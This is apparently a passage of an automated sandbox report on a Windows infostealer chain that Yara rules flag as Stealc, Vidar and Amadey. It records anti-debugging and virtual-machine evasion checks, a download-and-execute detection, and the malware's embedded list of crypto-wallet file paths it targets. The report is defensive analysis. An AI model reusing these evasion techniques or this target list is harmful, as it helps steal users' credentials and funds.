Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1532	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1532	Thread sleep time: -1260000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1532	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsBAAFIJKKEH.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2527403713.0000000000652000.00000040.00000001.01000000.00000003.sdmp, DocumentsBAAFIJKKEH.exe, 00000013.00000000.2509911797.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmp, DocumentsBAAFIJKKEH.exe, 00000013.00000002.2615342650.0000000000F75000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2643820690.0000000000DA5000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000000.2584492275.0000000000C1B000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.2675357519.0000000000DA5000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.2619446256.0000000000C1B000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000000.3219284332.0000000000C1B000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.3327475707.0000000000DA5000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe.19.dr, DocumentsBAAFIJKKEH.exe.0.dr, random[1].exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DocumentsBAAFIJKKEH.exe, 00000013.00000003.2540440873.000000000135E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: DocumentsBAAFIJKKEH.exe, 00000013.00000002.2617221496.0000000001343000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\m
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3324664657.0000000000828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000002.2528465742.0000000001251000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxt(
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2528465742.000000000120E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2527403713.0000000000652000.00000040.00000001.01000000.00000003.sdmp, DocumentsBAAFIJKKEH.exe, 00000013.00000000.2509911797.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmp, DocumentsBAAFIJKKEH.exe, 00000013.00000002.2615342650.0000000000F75000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2643820690.0000000000DA5000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000000.2584492275.0000000000C1B000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.2675357519.0000000000DA5000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.2619446256.0000000000C1B000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000000.3219284332.0000000000C1B000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.3327475707.0000000000DA5000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe.19.dr, DocumentsBAAFIJKKEH.exe.0.dr, random[1].exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsBAAFIJKKEH.exe

Code function: 19_2_05180D78 rdtsc

19_2_05180D78

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DB652B mov eax, dword ptr fs:[00000030h]	19_2_00DB652B
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DBA302 mov eax, dword ptr fs:[00000030h]	19_2_00DBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BEA302 mov eax, dword ptr fs:[00000030h]	21_2_00BEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BE652B mov eax, dword ptr fs:[00000030h]	21_2_00BE652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BEA302 mov eax, dword ptr fs:[00000030h]	22_2_00BEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BE652B mov eax, dword ptr fs:[00000030h]	22_2_00BE652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C68B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C83AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C83AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2928, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAAFIJKKEH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAAFIJKKEH.exe "C:\Users\user\DocumentsBAAFIJKKEH.exe"
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C884760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C884760

Source: file.exe	Binary or memory string: -Program Manager
Source: file.exe, 00000000.00000002.2527403713.0000000000652000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: -Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 24.2.skotes.exe.bb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.DocumentsBAAFIJKKEH.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2614974454.0000000000D81000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2643149853.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2674975786.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3326359008.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2526195665.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079793424.0000000005010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2528465742.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2928, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 